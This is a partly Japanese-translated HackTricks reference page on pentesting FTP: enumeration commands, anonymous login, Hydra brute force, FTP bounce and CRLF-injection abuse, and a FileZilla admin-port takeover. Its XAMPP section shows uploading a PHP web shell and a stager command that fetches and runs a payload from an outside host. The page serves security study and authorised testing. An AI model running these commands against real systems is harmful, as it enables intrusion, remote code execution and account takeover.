21 - Pentesting FTP

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

The File Transfer Protocol (FTP) は、サーバーとクライアント間でコンピュータネットワーク上のファイル転送の標準プロトコルです.\

これは プレーンテキスト プロトコルで、改行文字として 0x0d 0x0a を使用するため、場合によっては telnet を使って接続する または nc -C を使う必要があります。

デフォルトポート: 21

PORT   STATE SERVICE
21/tcp open  ftp

接続 (Active & Passive)

In Active FTP the FTP client first initiates the control connection from its port N to FTP Server’s command port – port 21. The client then listens to port N+1 and sends the port N+1 to FTP Server. FTP Server then initiates the data connection, from its port M to the port N+1 of the FTP Client.

ただし、FTP Client が外部からの受信データ接続を制御するファイアウォールを設定している場合、Active FTP は問題になることがあります。その対策として有効なのが Passive FTP です。

In Passive FTP, the client initiates the control connection from its port N to the port 21 of FTP Server. After this, the client issues a passv comand. The server then sends the client one of its port number M. And the client initiates the data connection from its port P to port M of the FTP Server.

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

接続のデバッグ

The FTP commands debug and trace can be used to see 通信がどのように行われているか.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

starttlsを使ってFTPに接続する

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

認証不要の列挙

nmap を使用して

sudo nmap -sV -p21 -sC -A 10.10.10.10

FTPサーバの情報を取得するには、HELPFEAT コマンドを使用できます:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

匿名ログイン

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

ここには、デフォルトの ftp 認証情報の便利なリストがあります: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

自動化

Anon login と bounce FTP checks は、デフォルトで nmap の -sC オプションによって実行されます、または:

nmap --script ftp-* -p 21 <ip>

ブラウザ接続

ブラウザ(例: Firefox)を使って、次のような URL で FTP サーバに接続できます:

ftp://anonymous:anonymous@10.10.10.98

Note that if a web application is sending data controlled by a user directly to a FTP server you can send double URL encode %0d%0a (in double URL encode this is %250d%250a) bytes and make the FTP server perform arbitrary actions. One of this possible arbitrary actions is to download content from a users controlled server, perform port scanning or try to talk to other plain-text based services (like http).

Download all files from FTP

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

ユーザー名やパスワードに特殊文字が含まれる場合、以下のコマンドを使用できます:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root が webroot にマップされている (XAMPP)

  • XAMPP/ProFTPD はしばしば FTP root を /opt/lampp/htdocs にマップするため、daemonnobody のようなサービスアカウントの弱い認証情報があれば、upload a PHP web shell directly into the served webroot できます。
  • アップロード後、シェル経由で architecture-aware download/exec stager をトリガーします。例えば: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86)。これはチェックサム検証済みのペイロードを取得し、保存(例: init_start)、chmod +x を実行して起動します。
  • 現在のディレクトリが書き込み/実行不可の場合、stager は /tmp にフォールバックするので、アップロード後に web パスとファイルシステムの権限を確認してください。

一部の FTP コマンド

  • USER username
  • PASS password
  • HELP サーバーがサポートするコマンドを示します
  • PORT 127,0,0,1,0,80 これは FTP サーバーに 127.0.0.1 のポート 80 に接続を確立するよう指示します(you need to put the 5th char as “0” and the 6th as the port in decimal or use the 5th and 6th to express the port in hex)。
  • EPRT |2|127.0.0.1|80| これは FTP サーバーに IP 127.0.0.1 のポート 80 に TCP 接続(“2” によって示される)を確立するよう指示します。このコマンドは IPv6 をサポートします。
  • LIST カレントフォルダ内のファイル一覧を送信します
  • LIST -R 再帰的に一覧表示(サーバーが許可していれば)
  • APPE /path/something.txt これは FTP に対し、passive 接続または PORT/EPRT 接続で受信したデータをファイルに保存するよう指示します。ファイル名が存在する場合はデータを追記します。
  • STOR /path/something.txt APPE と似ていますが、ファイルを上書きします
  • STOU /path/something.txt APPE と似ていますが、存在する場合は何もしません。
  • RETR /path/to/file passive または port 接続を確立する必要があります。FTP サーバーは指定されたファイルをその接続を通じて送信します
  • REST 6 次に RETR を使って何かを送るときは 6 バイト目から開始するようサーバーに指示します。
  • TYPE i 転送をバイナリに設定します
  • PASV passive 接続を開き、接続先をユーザーに通知します
  • PUT /tmp/file.txt 指定したファイルを FTP にアップロードします

FTPBounce attack

一部の FTP サーバーは PORT コマンドを許可します。このコマンドはサーバーに対して別の FTP サーバーの特定ポートへ接続するよう指示するために使えます。これを利用して、FTP サーバー経由でホストのどのポートが開いているかをスキャンできます。

Learn here how to abuse a FTP server to scan ports.

また、この挙動を悪用して FTP サーバーを別プロトコルとやり取りさせることも可能です。たとえば HTTP request を含むファイルをアップロード し、脆弱な FTP サーバーにそれを任意の HTTP server に 送信させる例えば新しい admin ユーザを追加する等)ことや、FTP リクエストをアップロードして脆弱な FTP サーバーに別の FTP サーバーからファイルをダウンロードさせることもできます。
理論は簡単です:

  1. リクエスト(テキストファイル内)を脆弱なサーバーにアップロードする。 別の HTTP や FTP サーバーと通信したい場合は、行末を 0x0d 0x0a に変更する必要があることを忘れないでください(0x0d 0x0a は CRLF を表します)。
  2. REST X を使って、送信したくない文字を回避する。(例: リクエストをファイル内にアップロードするために先頭に画像ヘッダを置く必要があった場合など)
  3. PORT を使って任意のサーバーとサービスに接続する。
  4. RETR を使って保存したリクエストをサーバーに送る。

おそらくこれは Socket not writable のようなエラーを投げることが多いです。これは接続が RETR でデータを送るのに十分な時間持続しないためです。これを回避するための試行案は以下の通りです:

  • HTTP リクエストを送る場合、同じリクエストを繰り返し連結して、少なくとも ~0.5MB 程度にします。例えば:

  • プロトコルに関連する「junk」データでリクエストを埋めてみる(FTP に対してなら無意味なコマンドを繰り返したり、ファイルを取得するために RETR 指示を繰り返す等)
  • 単純に大量のヌル文字やその他のデータでリクエストを埋める(行に分けても分けなくても可)

とにかく、こちらに old example about how to abuse this to make a FTP server download a file from a different FTP server. があります。

Filezilla Server Vulnerability

FileZilla は通常、FileZilla-Server の管理用サービス(port 14147)をローカルで bind します。もしあなたのマシンからこのポートにアクセスできるように tunnel を作成できれば、blank password で接続して、FTP サービス用の new user を作成することができます。

設定ファイル

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

The default configuration of vsFTPd can be found in /etc/vsftpd.conf. In here, you could find some dangerous settings:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - 匿名ユーザー用のディレクトリ。
  • chown_uploads=YES - 匿名でアップロードされたファイルの所有権を変更する
  • chown_username=username - 匿名でアップロードされたファイルの所有権を与えられるユーザー
  • local_enable=YES - ローカルユーザーのログインを許可する
  • no_anon_password=YES - 匿名ユーザーにパスワードを要求しない
  • write_enable=YES - 以下のコマンドを許可する: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE

Shodan

  • ftp
  • port:21

HackTricks 自動コマンド

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする